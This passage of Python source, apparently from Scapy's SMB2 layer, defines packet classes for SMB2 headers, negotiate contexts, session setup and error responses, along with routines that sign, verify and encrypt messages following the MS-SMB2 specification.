\"FILE_ACTION_RENAMED_OLD_NAME\",\n                0x00000005: \"FILE_ACTION_RENAMED_NEW_NAME\",\n                0x00000006: \"FILE_ACTION_ADDED_STREAM\",\n                0x00000007: \"FILE_ACTION_REMOVED_STREAM\",\n                0x00000008: \"FILE_ACTION_MODIFIED_STREAM\",\n                0x00000009: \"FILE_ACTION_REMOVED_BY_DELETE\",\n                0x0000000A: \"FILE_ACTION_ID_NOT_TUNNELLED\",\n                0x0000000B: \"FILE_ACTION_TUNNELLED_ID_COLLISION\",\n            },\n        ),\n        FieldLenField(\n            \"FileNameLength\",\n            None,\n            length_of=\"FileName\",\n            fmt=\"<I\",\n        ),\n        StrLenFieldUtf16(\"FileName\", b\"\", length_from=lambda x: x.FileNameLength),\n        StrLenField(\n            \"pad\",\n            b\"\",\n            length_from=lambda x: (\n                (x.NextEntryOffset - x.FileNameLength) if x.NextEntryOffset else 0\n            ),\n        ),\n    ]\n\n    def default_payload_class(self, s):\n        return conf.padding_layer\n\n\n_SMB2_CONFIG = [\n    (\"BufferOffset\", _NTLM_ENUM.OFFSET),\n    (\"Len\", _NTLM_ENUM.LEN),\n]\n\n\ndef _SMB2_post_build(self, p, pay_offset, fields):\n    \"\"\"Util function to build the offset and populate the lengths\"\"\"\n    return _NTLM_post_build(self, p, pay_offset, fields, config=_SMB2_CONFIG)\n\n\n# SMB2 sect 2.1\n\n\nclass DirectTCP(NBTSession):\n    name = \"Direct TCP\"\n    MAXLENGTH = 0xFFFFFF\n    fields_desc = [ByteField(\"zero\", 0), ThreeBytesField(\"LENGTH\", None)]\n\n\n# SMB2 sect 2.2.1.1\n\n\nclass SMB2_Header(Packet):\n    __slots__ = [\"_decrypted\"]\n\n    name = \"SMB2 Header\"\n    fields_desc = [\n        StrFixedLenField(\"Start\", b\"\\xfeSMB\", 4),\n        LEShortField(\"StructureSize\", 64),\n        LEShortField(\"CreditCharge\", 0),\n        LEIntEnumField(\"Status\", 0, STATUS_ERREF),\n        LEShortEnumField(\"Command\", 0, SMB2_COM),\n        LEShortField(\"CreditRequest\", 0),\n        FlagsField(\n            \"Flags\",\n            0,\n            -32,\n            {\n                0x00000001: \"SMB2_FLAGS_SERVER_TO_REDIR\",\n                0x00000002: \"SMB2_FLAGS_ASYNC_COMMAND\",\n                0x00000004: \"SMB2_FLAGS_RELATED_OPERATIONS\",\n                0x00000008: \"SMB2_FLAGS_SIGNED\",\n                0x10000000: \"SMB2_FLAGS_DFS_OPERATIONS\",\n                0x20000000: \"SMB2_FLAGS_REPLAY_OPERATION\",\n            },\n        ),\n        XLEIntField(\"NextCommand\", 0),\n        LELongField(\"MID\", 0),  # MessageID\n        # ASYNC\n        ConditionalField(\n            LELongField(\"AsyncId\", 0), lambda pkt: pkt.Flags.SMB2_FLAGS_ASYNC_COMMAND\n        ),\n        # SYNC\n        ConditionalField(\n            LEIntField(\"PID\", 0),  # Reserved, but PID per wireshark\n            lambda pkt: not pkt.Flags.SMB2_FLAGS_ASYNC_COMMAND,\n        ),\n        ConditionalField(\n            LEIntField(\"TID\", 0),  # TreeID\n            lambda pkt: not pkt.Flags.SMB2_FLAGS_ASYNC_COMMAND,\n        ),\n        # COMMON\n        LELongField(\"SessionId\", 0),\n        XStrFixedLenField(\"SecuritySignature\", 0, length=16),\n    ]\n\n    _SMB2_OK_RETURNCODES = (\n        # sect 3.3.4.4\n        (0xC0000016, 0x0001),  # STATUS_MORE_PROCESSING_REQUIRED\n        (0x80000005, 0x0008),  # STATUS_BUFFER_OVERFLOW (Read)\n        (0x80000005, 0x0010),  # STATUS_BUFFER_OVERFLOW (QueryInfo)\n        (0x80000005, 0x000B),  # STATUS_BUFFER_OVERFLOW (IOCTL)\n        (0xC000000D, 0x000B),  # STATUS_INVALID_PARAMETER\n        (0x0000010C, 0x000F),  # STATUS_NOTIFY_ENUM_DIR\n    )\n\n    def __init__(self, *args, **kwargs):\n        # The parent passes whether this packet was decrypted or not.\n        self._decrypted = kwargs.pop(\"_decrypted\", False)\n        super(SMB2_Header, self).__init__(*args, **kwargs)\n\n    def guess_payload_class(self, payload):\n        if self.Flags.SMB2_FLAGS_SERVER_TO_REDIR and self.Status != 0x00000000:\n            # Check status for responses\n            if (self.Status, self.Command) not in SMB2_Header._SMB2_OK_RETURNCODES:\n                return SMB2_Error_Response\n        if self.Command == 0x0000:  # Negotiate\n            if self.Flags.SMB2_FLAGS_SERVER_TO_REDIR:\n                return SMB2_Negotiate_Protocol_Response\n            return SMB2_Negotiate_Protocol_Request\n        elif self.Command == 0x0001:  # Setup\n            if self.Flags.SMB2_FLAGS_SERVER_TO_REDIR:\n                return SMB2_Session_Setup_Response\n            return SMB2_Session_Setup_Request\n        elif self.Command == 0x0002:  # Logoff\n            if self.Flags.SMB2_FLAGS_SERVER_TO_REDIR:\n                return SMB2_Session_Logoff_Response\n            return SMB2_Session_Logoff_Request\n        elif self.Command == 0x0003:  # TREE connect\n            if self.Flags.SMB2_FLAGS_SERVER_TO_REDIR:\n                return SMB2_Tree_Connect_Response\n            return SMB2_Tree_Connect_Request\n        elif self.Command == 0x0004:  # TREE disconnect\n            if self.Flags.SMB2_FLAGS_SERVER_TO_REDIR:\n                return SMB2_Tree_Disconnect_Response\n            return SMB2_Tree_Disconnect_Request\n        elif self.Command == 0x0005:  # Create\n            if self.Flags.SMB2_FLAGS_SERVER_TO_REDIR:\n                return SMB2_Create_Response\n            return SMB2_Create_Request\n        elif self.Command == 0x0006:  # Close\n            if self.Flags.SMB2_FLAGS_SERVER_TO_REDIR:\n                return SMB2_Close_Response\n            return SMB2_Close_Request\n        elif self.Command == 0x0008:  # Read\n            if self.Flags.SMB2_FLAGS_SERVER_TO_REDIR:\n                return SMB2_Read_Response\n            return SMB2_Read_Request\n        elif self.Command == 0x0009:  # Write\n            if self.Flags.SMB2_FLAGS_SERVER_TO_REDIR:\n                return SMB2_Write_Response\n            return SMB2_Write_Request\n        elif self.Command == 0x000C:  # Cancel\n            return SMB2_Cancel_Request\n        elif self.Command == 0x000D:  # Echo\n            if self.Flags.SMB2_FLAGS_SERVER_TO_REDIR:\n                return SMB2_Echo_Response\n            return SMB2_Echo_Request\n        elif self.Command == 0x000E:  # Query directory\n            if self.Flags.SMB2_FLAGS_SERVER_TO_REDIR:\n                return SMB2_Query_Directory_Response\n            return SMB2_Query_Directory_Request\n        elif self.Command == 0x000F:  # Change Notify\n            if self.Flags.SMB2_FLAGS_SERVER_TO_REDIR:\n                return SMB2_Change_Notify_Response\n            return SMB2_Change_Notify_Request\n        elif self.Command == 0x0010:  # Query info\n            if self.Flags.SMB2_FLAGS_SERVER_TO_REDIR:\n                return SMB2_Query_Info_Response\n            return SMB2_Query_Info_Request\n        elif self.Command == 0x0011:  # Set info\n            if self.Flags.SMB2_FLAGS_SERVER_TO_REDIR:\n                return SMB2_Set_Info_Response\n            return SMB2_Set_Info_Request\n        elif self.Command == 0x000B:  # IOCTL\n            if self.Flags.SMB2_FLAGS_SERVER_TO_REDIR:\n                return SMB2_IOCTL_Response\n            return SMB2_IOCTL_Request\n        return super(SMB2_Header, self).guess_payload_class(payload)\n\n    def _calc_signature(\n        self, s, dialect, SigningSessionKey, SigningAlgorithmId=None, IsClient=None\n    ):\n        \"\"\"\n        This function calculates the signature of a SMB2 packet.\n        Detail is from [MS-SMB2] 3.1.4.1\n        \"\"\"\n        if len(s) <= 64:\n            log_runtime.warning(\"Cannot sign invalid SMB packet !\")\n            return s\n        if dialect in [0x0300, 0x0302, 0x0311]:  # SMB 3\n            if dialect == 0x0311:  # SMB 3.1.1\n                if IsClient is None:\n                    raise Exception(\"SMB 3.1.1 needs a IsClient\")\n                if SigningAlgorithmId is None:\n                    SigningAlgorithmId = \"AES-CMAC\"  # AES-128-CMAC\n            else:\n                SigningAlgorithmId = \"AES-CMAC\"  # AES-128-CMAC\n            if \"GMAC\" in SigningAlgorithmId:\n                from cryptography.hazmat.primitives.ciphers.aead import AESGCM\n\n                aesgcm = AESGCM(SigningSessionKey)\n                nonce = struct.pack(\"<Q\", self.MID) + struct.pack(\n                    \"<I\",\n                    (0 if IsClient else 1) | (0x8000000 if self.Command == 9 else 0),\n                )\n                sig = aesgcm.encrypt(nonce, b\"\", s)\n            elif \"CMAC\" in SigningAlgorithmId:\n                from cryptography.hazmat.primitives import cmac\n                from cryptography.hazmat.primitives.ciphers import algorithms\n\n                c = cmac.CMAC(algorithms.AES(SigningSessionKey))\n                c.update(s)\n                sig = c.finalize()\n            elif \"HMAC\" in SigningAlgorithmId:\n                from scapy.layers.tls.crypto.h_mac import Hmac_SHA256\n\n                sig = Hmac_SHA256(SigningSessionKey).digest(s)\n                sig = sig[:16]\n            else:\n                raise ValueError(\"Unknown SigningAlgorithmId\")\n        elif dialect in [0x0210, 0x0202]:  # SMB 2.1 or SMB 2.0.2\n            from scapy.layers.tls.crypto.h_mac import Hmac_SHA256\n\n            sig = Hmac_SHA256(SigningSessionKey).digest(s)\n            sig = sig[:16]\n        else:\n            log_runtime.warning(\"Unknown SMB Version %s ! Cannot sign.\" % dialect)\n            sig = b\"\\x00\" * 16\n        return sig\n\n    def sign(self, dialect, SigningSessionKey, SigningAlgorithmId=None, IsClient=None):\n        \"\"\"\n        [MS-SMB2] 3.1.4.1 - Signing An Outgoing Message\n        \"\"\"\n        # Set the current signature to nul\n        self.SecuritySignature = b\"\\x00\" * 16\n        # Calculate the signature\n        s = bytes(self)\n        self.SecuritySignature = self._calc_signature(\n            s,\n            dialect=dialect,\n            SigningSessionKey=SigningSessionKey,\n            SigningAlgorithmId=SigningAlgorithmId,\n            IsClient=IsClient,\n        )\n        # we make sure the payload is static\n        self.payload = conf.raw_layer(load=s[64:])\n\n    def verify(\n        self, dialect, SigningSessionKey, SigningAlgorithmId=None, IsClient=None\n    ):\n        \"\"\"\n        [MS-SMB2] sect 3.2.5.1.3 - Verifying the signature\n        \"\"\"\n        s = bytes(self)\n        # Set SecuritySignature to nul\n        s = s[:48] + b\"\\x00\" * 16 + s[64:]\n        # Calculate the signature\n        sig = self._calc_signature(\n            s,\n            dialect=dialect,\n            SigningSessionKey=SigningSessionKey,\n            SigningAlgorithmId=SigningAlgorithmId,\n            IsClient=IsClient,\n        )\n        if self.SecuritySignature != sig:\n            log_runtime.error(\"SMB signature is invalid !\")\n            raise Exception(\"ERROR: SMB signature is invalid !\")\n\n    def encrypt(self, dialect, EncryptionKey, CipherId):\n        \"\"\"\n        [MS-SMB2] sect 3.1.4.3 - Encrypting the Message\n        \"\"\"\n        if dialect < 0x0300:\n            raise Exception(\"Encryption is not supported on this SMB dialect !\")\n        elif dialect < 0x0311 and CipherId != \"AES-128-CCM\":\n            raise Exception(\"CipherId is not supported on this SMB dialect !\")\n\n        data = bytes(self)\n        smbt = SMB2_Transform_Header(\n            OriginalMessageSize=len(self),\n            SessionId=self.SessionId,\n            Flags=0x0001,\n        )\n        if \"GCM\" in CipherId:\n            from cryptography.hazmat.primitives.ciphers.aead import AESGCM\n\n            nonce = os.urandom(12)\n            cipher = AESGCM(EncryptionKey)\n        elif \"CCM\" in CipherId:\n            from cryptography.hazmat.primitives.ciphers.aead import AESCCM\n\n            nonce = os.urandom(11)\n            cipher = AESCCM(EncryptionKey)\n        else:\n            raise Exception(\"Unknown CipherId !\")\n\n        # Add nonce to header and build the auth data\n        smbt.Nonce = nonce\n        aad = bytes(smbt)[20:]\n\n        # Perform the actual encryption\n        data = cipher.encrypt(nonce, data, aad)\n\n        # Put the auth tag in the Signature field\n        smbt.Signature, data = data[-16:], data[:-16]\n\n        return smbt / data\n\n\nclass _SMB2_Payload(Packet):\n    def do_dissect_payload(self, s):\n        # There can be padding between this layer and the next one\n        if self.underlayer and isinstance(self.underlayer, SMB2_Header):\n            if self.underlayer.NextCommand:\n                padlen = self.underlayer.NextCommand - (64 + len(self.raw_packet_cache))\n                if padlen:\n                    self.add_payload(s[:padlen])\n                    s = s[padlen:]\n        super(_SMB2_Payload, self).do_dissect_payload(s)\n\n    def answers(self, other):\n        return (\n            isinstance(other, _SMB2_Payload)\n            and self.__class__ != other.__class__\n            and (self.Command == other.Command or self.Command == -1)\n        )\n\n    def guess_payload_class(self, s):\n        if self.underlayer and isinstance(self.underlayer, SMB2_Header):\n            if self.underlayer.NextCommand:\n                return SMB2_Header\n        return super(_SMB2_Payload, self).guess_payload_class(s)\n\n\n# sect 2.2.2\n\n\nclass SMB2_Error_Response(_SMB2_Payload):\n    Command = -1\n    __slots__ = [\"NTStatus\"]  # extra info\n    name = \"SMB2 Error Response\"\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x09),\n        ByteField(\"ErrorContextCount\", 0),\n        ByteField(\"Reserved\", 0),\n        FieldLenField(\"ByteCount\", None, fmt=\"<I\", length_of=\"ErrorData\"),\n        XStrLenField(\"ErrorData\", b\"\", length_from=lambda pkt: pkt.ByteCount),\n    ]\n\n\nbind_top_down(SMB2_Header, SMB2_Error_Response, Flags=1)  # SMB2_FLAGS_SERVER_TO_REDIR\n\n# sect 2.2.2.2.2\n\n\nclass MOVE_DST_IPADDR(Packet):\n    fields_desc = [\n        # Wireshark appears to get this wrong\n        LEIntEnumField(\"Type\", 1, {1: \"IPv4\", 2: \"IPv6\"}),\n        IntField(\"Reserved\", 0),\n        MultipleTypeField(\n            [(IP6Field(\"IPAddress\", None), lambda pkt: pkt.Type == 2)],\n            IPField(\"IPAddress\", None),\n        ),\n        ConditionalField(\n            # For IPv4\n            StrFixedLenField(\"Reserved2\", b\"\", length=12),\n            lambda pkt: pkt.Type == 1,\n        ),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass SMB2_Error_Share_Redirect_Context_Response(_NTLMPayloadPacket):\n    name = \"Share Redirect Error Context Response\"\n    _NTLM_PAYLOAD_FIELD_NAME = \"Buffer\"\n    fields_desc = [\n        XLEIntField(\"StructureSize\", 0x30),\n        LEIntEnumField(\"NotificationType\", 3, {3: \"SHARE_MOVE_NOTIFICATION\"}),\n        XLEIntField(\"ResourceNameBufferOffset\", None),\n        LEIntField(\"ResourceNameLen\", None),\n        ShortField(\"Reserved\", 0),\n        ShortEnumField(\"TargetType\", 0, {0: \"IP\"}),\n        FieldLenField(\"IPAddrCount\", None, fmt=\"<I\", count_of=\"IPAddrMoveList\"),\n        PacketListField(\n            \"IPAddrMoveList\",\n            [],\n            MOVE_DST_IPADDR,\n            count_from=lambda pkt: pkt.IPAddrCount,\n        ),\n        _NTLMPayloadField(\n            \"Buffer\",\n            lambda pkt: 24 + len(pkt.IPAddrMoveList) * 24,\n            [\n                StrLenFieldUtf16(\n                    \"ResourceName\", b\"\", length_from=lambda pkt: pkt.ResourceNameLen\n                ),\n            ],\n        ),\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        return (\n            _SMB2_post_build(\n                self,\n                pkt,\n                24 + len(self.IPAddrMoveList) * 24,\n                {\n                    \"ResourceName\": 8,\n                },\n            )\n            + pay\n        )\n\n\n# sect 2.2.2.1\n\n\nclass SMB2_Error_ContextResponse(Packet):\n    fields_desc = [\n        FieldLenField(\"ErrorDatalength\", None, fmt=\"<I\", length_of=\"ErrorContextData\"),\n        LEIntEnumField(\"ErrorId\", 0, {0: \"DEFAULT\", 0x72645253: \"SHARE_REDIRECT\"}),\n        MultipleTypeField(\n            [\n                (\n                    PacketField(\n                        \"ErrorContextData\",\n                        SMB2_Error_Share_Redirect_Context_Response(),\n                        SMB2_Error_Share_Redirect_Context_Response,\n                    ),\n                    lambda pkt: pkt.ErrorId == 0x72645253,\n                )\n            ],\n            XStrLenField(\n                \"ErrorContextData\", b\"\", length_from=lambda pkt: pkt.ErrorDatalength\n            ),\n        ),\n    ]\n\n\n# sect 2.2.3\n\n\nclass SMB2_Negotiate_Context(Packet):\n    name = \"SMB2 Negotiate Context\"\n    fields_desc = [\n        LEShortEnumField(\"ContextType\", 0x0, SMB2_NEGOTIATE_CONTEXT_TYPES),\n        LenField(\"DataLength\", None, fmt=\"<H\"),\n        IntField(\"Reserved\", 0),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass SMB2_Negotiate_Protocol_Request(_SMB2_Payload, _NTLMPayloadPacket):\n    name = \"SMB2 Negotiate Protocol Request\"\n    Command = 0x0000\n    _NTLM_PAYLOAD_FIELD_NAME = \"Buffer\"\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x24),\n        FieldLenField(\"DialectCount\", None, fmt=\"<H\", count_of=\"Dialects\"),\n        # SecurityMode\n        FlagsField(\"SecurityMode\", 0, -16, SMB2_SECURITY_MODE),\n        LEShortField(\"Reserved\", 0),\n        # Capabilities\n        FlagsField(\"Capabilities\", 0, -32, SMB2_CAPABILITIES),\n        UUIDField(\"ClientGUID\", 0x0, uuid_fmt=UUIDField.FORMAT_LE),\n        XLEIntField(\"NegotiateContextsBufferOffset\", None),\n        LEShortField(\"NegotiateContextsCount\", None),\n        ShortField(\"Reserved2\", 0),\n        FieldListField(\n            \"Dialects\",\n            [0x0202],\n            LEShortEnumField(\"\", 0x0, SMB_DIALECTS),\n            count_from=lambda pkt: pkt.DialectCount,\n        ),\n        _NTLMPayloadField(\n            \"Buffer\",\n            lambda pkt: 64 + 36 + len(pkt.Dialects) * 2,\n            [\n                # Field only exists if Dialects contains 0x0311\n                FieldListField(\n                    \"NegotiateContexts\",\n                    [],\n                    ReversePadField(\n                        PacketField(\"Context\", None, SMB2_Negotiate_Context),\n                        8,\n                    ),\n                    count_from=lambda pkt: pkt.NegotiateContextsCount,\n                ),\n            ],\n        ),\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        return (\n            _NTLM_post_build(\n                self,\n                pkt,\n                64 + 36 + len(self.Dialects) * 2,\n                {\n                    \"NegotiateContexts\": 28,\n                },\n                config=[\n                    (\"BufferOffset\", _NTLM_ENUM.OFFSET | _NTLM_ENUM.PAD8),\n                    (\"Count\", _NTLM_ENUM.COUNT),\n                ],\n            )\n            + pay\n        )\n\n\nbind_top_down(\n    SMB2_Header,\n    SMB2_Negotiate_Protocol_Request,\n    Command=0x0000,\n)\n\n# sect 2.2.3.1.1\n\n\nclass SMB2_Preauth_Integrity_Capabilities(Packet):\n    name = \"SMB2 Preauth Integrity Capabilities\"\n    fields_desc = [\n        # According to the spec, this field value must be greater than 0\n        # (cf Section 2.2.3.1.1 of MS-SMB2.pdf)\n        FieldLenField(\"HashAlgorithmCount\", None, fmt=\"<H\", count_of=\"HashAlgorithms\"),\n        FieldLenField(\"SaltLength\", None, fmt=\"<H\", length_of=\"Salt\"),\n        FieldListField(\n            \"HashAlgorithms\",\n            [0x0001],\n            LEShortEnumField(\n                \"\",\n                0x0,\n                SMB2_HASH_ALGORITHMS,\n            ),\n            count_from=lambda pkt: pkt.HashAlgorithmCount,\n        ),\n        XStrLenField(\"Salt\", \"\", length_from=lambda pkt: pkt.SaltLength),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nbind_layers(\n    SMB2_Negotiate_Context, SMB2_Preauth_Integrity_Capabilities, ContextType=0x0001\n)\n\n# sect 2.2.3.1.2\n\n\nclass SMB2_Encryption_Capabilities(Packet):\n    name = \"SMB2 Encryption Capabilities\"\n    fields_desc = [\n        # According to the spec, this field value must be greater than 0\n        # (cf Section 2.2.3.1.2 of MS-SMB2.pdf)\n        FieldLenField(\"CipherCount\", None, fmt=\"<H\", count_of=\"Ciphers\"),\n        FieldListField(\n            \"Ciphers\",\n            [0x0001],\n            LEShortEnumField(\n                \"\",\n                0x0,\n                SMB2_ENCRYPTION_CIPHERS,\n            ),\n            count_from=lambda pkt: pkt.CipherCount,\n        ),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nbind_layers(SMB2_Negotiate_Context, SMB2_Encryption_Capabilities, ContextType=0x0002)\n\n# sect 2.2.3.1.3\n\n\nclass SMB2_Compression_Capabilities(Packet):\n    name = \"SMB2 Compression Capabilities\"\n    fields_desc = [\n        FieldLenField(\n            \"CompressionAlgorithmCount\",\n            None,\n            fmt=\"<H\",\n            count_of=\"CompressionAlgorithms\",\n        ),\n        ShortField(\"Padding\", 0x0),\n        LEIntEnumField(\n            \"Flags\",\n            0x0,\n            {\n                0x00000000: \"SMB2_COMPRESSION_CAPABILITIES_FLAG_NONE\",\n                0x00000001: \"SMB2_COMPRESSION_CAPABILITIES_FLAG_CHAINED\",\n            },\n        ),\n        FieldListField(\n            \"CompressionAlgorithms\",\n            None,\n            LEShortEnumField(\"\", 0x0, SMB2_COMPRESSION_ALGORITHMS),\n            count_from=lambda pkt: pkt.CompressionAlgorithmCount,\n        ),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nbind_layers(SMB2_Negotiate_Context, SMB2_Compression_Capabilities, ContextType=0x0003)\n\n# sect 2.2.3.1.4\n\n\nclass SMB2_Netname_Negotiate_Context_ID(Packet):\n    name = \"SMB2 Netname Negotiate Context ID\"\n    fields_desc = [\n        StrLenFieldUtf16(\n            \"NetName\", \"\", length_from=lambda pkt: pkt.underlayer.DataLength\n        )\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nbind_layers(\n    SMB2_Negotiate_Context, SMB2_Netname_Negotiate_Context_ID, ContextType=0x0005\n)\n\n# sect 2.2.3.1.5\n\n\nclass SMB2_Transport_Capabilities(Packet):\n    name = \"SMB2 Transport Capabilities\"\n    fields_desc = [\n        FlagsField(\n            \"Flags\",\n            0x0,\n            -32,\n            {\n                0x00000001: \"SMB2_ACCEPT_TRANSPORT_LEVEL_SECURITY\",\n            },\n        ),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nbind_layers(SMB2_Negotiate_Context, SMB2_Transport_Capabilities, ContextType=0x0006)\n\n# sect 2.2.3.1.6\n\n\nclass SMB2_RDMA_Transform_Capabilities(Packet):\n    name = \"SMB2 RDMA Transform Capabilities\"\n    fields_desc = [\n        FieldLenField(\"TransformCount\", None, fmt=\"<H\", count_of=\"RDMATransformIds\"),\n        LEShortField(\"Reserved1\", 0),\n        LEIntField(\"Reserved2\", 0),\n        FieldListField(\n            \"RDMATransformIds\",\n            None,\n            LEShortEnumField(\n                \"\",\n                0x0,\n                {\n                    0x0000: \"SMB2_RDMA_TRANSFORM_NONE\",\n                    0x0001: \"SMB2_RDMA_TRANSFORM_ENCRYPTION\",\n                    0x0002: \"SMB2_RDMA_TRANSFORM_SIGNING\",\n                },\n            ),\n            count_from=lambda pkt: pkt.TransformCount,\n        ),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nbind_layers(\n    SMB2_Negotiate_Context, SMB2_RDMA_Transform_Capabilities, ContextType=0x0007\n)\n\n# sect 2.2.3.1.7\n\n\nclass SMB2_Signing_Capabilities(Packet):\n    name = \"SMB2 Signing Capabilities\"\n    fields_desc = [\n        FieldLenField(\n            \"SigningAlgorithmCount\", None, fmt=\"<H\", count_of=\"SigningAlgorithms\"\n        ),\n        FieldListField(\n            \"SigningAlgorithms\",\n            None,\n            LEShortEnumField(\n                \"\",\n                0x0,\n                SMB2_SIGNING_ALGORITHMS,\n            ),\n            count_from=lambda pkt: pkt.SigningAlgorithmCount,\n        ),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nbind_layers(SMB2_Negotiate_Context, SMB2_Signing_Capabilities, ContextType=0x0008)\n\n# sect 2.2.4\n\n\nclass SMB2_Negotiate_Protocol_Response(_SMB2_Payload, _NTLMPayloadPacket):\n    name = \"SMB2 Negotiate Protocol Response\"\n    Command = 0x0000\n    OFFSET = 64 + 64\n    _NTLM_PAYLOAD_FIELD_NAME = \"Buffer\"\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x41),\n        FlagsField(\"SecurityMode\", 0, -16, SMB2_SECURITY_MODE),\n        LEShortEnumField(\"DialectRevision\", 0x0, SMB_DIALECTS),\n        LEShortField(\"NegotiateContextsCount\", None),\n        UUIDField(\"GUID\", 0x0, uuid_fmt=UUIDField.FORMAT_LE),\n        # Capabilities\n        FlagsField(\"Capabilities\", 0, -32, SMB2_CAPABILITIES),\n        LEIntField(\"MaxTransactionSize\", 65536),\n        LEIntField(\"MaxReadSize\", 65536),\n        LEIntField(\"MaxWriteSize\", 65536),\n        UTCTimeField(\n            \"ServerTime\",\n            None,\n            fmt=\"<Q\",\n            epoch=[1601, 1, 1, 0, 0, 0],\n            custom_scaling=1e7,\n        ),\n        UTCTimeField(\n            \"ServerStartTime\",\n            None,\n            fmt=\"<Q\",\n            epoch=[1601, 1, 1, 0, 0, 0],\n            custom_scaling=1e7,\n        ),\n        XLEShortField(\"SecurityBlobBufferOffset\", None),\n        LEShortField(\"SecurityBlobLen\", None),\n        XLEIntField(\"NegotiateContextsBufferOffset\", None),\n        _NTLMPayloadField(\n            \"Buffer\",\n            OFFSET,\n            [\n                PacketLenField(\n                    \"SecurityBlob\",\n                    None,\n                    GSSAPI_BLOB,\n                    length_from=lambda x: x.SecurityBlobLen,\n                ),\n                # Field only exists if Dialect is 0x0311\n                FieldListField(\n                    \"NegotiateContexts\",\n                    [],\n                    ReversePadField(\n                        PacketField(\"Context\", None, SMB2_Negotiate_Context),\n                        8,\n                    ),\n                    count_from=lambda pkt: pkt.NegotiateContextsCount,\n                ),\n            ],\n            force_order=[\"SecurityBlob\", \"NegotiateContexts\"],\n        ),\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        pkt = _NTLM_post_build(\n            self,\n            pkt,\n            self.OFFSET,\n            {\n                \"SecurityBlob\": 56,\n                \"NegotiateContexts\": 60,\n            },\n            config=[\n                (\n                    \"BufferOffset\",\n                    {\n                        \"SecurityBlob\": _NTLM_ENUM.OFFSET,\n                        \"NegotiateContexts\": _NTLM_ENUM.OFFSET | _NTLM_ENUM.PAD8,\n                    },\n                ),\n            ],\n        )\n        if getattr(self, \"SecurityBlob\", None):\n            if self.SecurityBlobLen is None:\n                pkt = pkt[:58] + struct.pack(\"<H\", len(self.SecurityBlob)) + pkt[60:]\n        if getattr(self, \"NegotiateContexts\", None):\n            if self.NegotiateContextsCount is None:\n                pkt = pkt[:6] + struct.pack(\"<H\", len(self.NegotiateContexts)) + pkt[8:]\n        return pkt + pay\n\n\nbind_top_down(\n    SMB2_Header,\n    SMB2_Negotiate_Protocol_Response,\n    Command=0x0000,\n    Flags=1,  # SMB2_FLAGS_SERVER_TO_REDIR\n)\n\n# sect 2.2.5\n\n\nclass SMB2_Session_Setup_Request(_SMB2_Payload, _NTLMPayloadPacket):\n    name = \"SMB2 Session Setup Request\"\n    Command = 0x0001\n    OFFSET = 24 + 64\n    _NTLM_PAYLOAD_FIELD_NAME = \"Buffer\"\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x19),\n        FlagsField(\"Flags\", 0, -8, [\"SMB2_SESSION_FLAG_BINDING\"]),\n        FlagsField(\"SecurityMode\", 0, -8, SMB2_SECURITY_MODE),\n        FlagsField(\"Capabilities\", 0, -32, SMB2_CAPABILITIES),\n        LEIntField(\"Channel\", 0),\n        XLEShortField(\"SecurityBlobBufferOffset\", None),\n        LEShortField(\"SecurityBlobLen\", None),\n        XLELongField(\"PreviousSessionId\", 0),\n        _NTLMPayloadField(\n            \"Buffer\",\n            OFFSET,\n            [\n                PacketField(\"SecurityBlob\", None, GSSAPI_BLOB),\n            ],\n        ),\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        return (\n            _SMB2_post_build(\n                self,\n                pkt,\n                self.OFFSET,\n                {\n                    \"SecurityBlob\": 12,\n                },\n            )\n            + pay\n        )\n\n\nbind_top_down(\n    SMB2_Header,\n    SMB2_Session_Setup_Request,\n    Command=0x0001,\n)\n\n# sect 2.2.6\n\n\nclass SMB2_Session_Setup_Response(_SMB2_Payload, _NTLMPayloadPacket):\n    name = \"SMB2 Session Setup Response\"\n    Command = 0x0001\n    OFFSET = 8 + 64\n    _NTLM_PAYLOAD_FIELD_NAME = \"Buffer\"\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x9),\n        FlagsField(\n            \"SessionFlags\",\n            0,\n            -16,\n            {\n                0x0001: \"IS_GUEST\",\n                0x0002: \"IS_NULL\",\n                0x0004: \"ENCRYPT_DATA\",\n            },\n        ),\n        XLEShortField(\"SecurityBufferOffset\", None),\n        LEShortField(\"SecurityLen\", None),\n        _NTLMPayloadField(\n            \"Buffer\",\n            OFFSET,\n            [\n                PacketField(\"Security\", None, GSSAPI_BLOB),\n            ],\n        ),\n    ]\n\n    def __getattr__(self, attr):\n        # Ease SMB1 backward compatibility\n        if attr == \"SecurityBlob\":\n            return (\n                super(SMB2_Session_Setup_Response, self).__getattr__(\"Buffer\")\n                or [(None, None)]\n            )[0][1]\n        return super(SMB2_Session_Setup_Response, self).__getattr__(attr)\n\n    def setfieldval(self, attr, val):\n        if attr == \"SecurityBlob\":\n            return super(SMB2_Session_Setup_Response, self).setfieldval(\n                \"Buffer\", [(\"Security\", val)]\n            )\n        return super(SMB2_Session_Setup_Response, self).setfieldval(attr, val)\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        return (\n            _SMB2_post_build(\n                self,\n                pkt,\n                self.OFFSET,\n                {\n                    \"Security\": 4,\n                },\n            )\n            + pay\n        )\n\n\nbind_top_down(\n    SMB2_Header,\n    SMB2_Session_Setup_Response,\n    Command=0x0001,\n    Flags=1,  # SMB2_FLAGS_SERVER_TO_REDIR\n)\n\n# sect 2.2.7\n\n\nclass SMB2_Session_Logoff_Request(_SMB2_Payload):\n    name = \"SMB2 LOGOFF 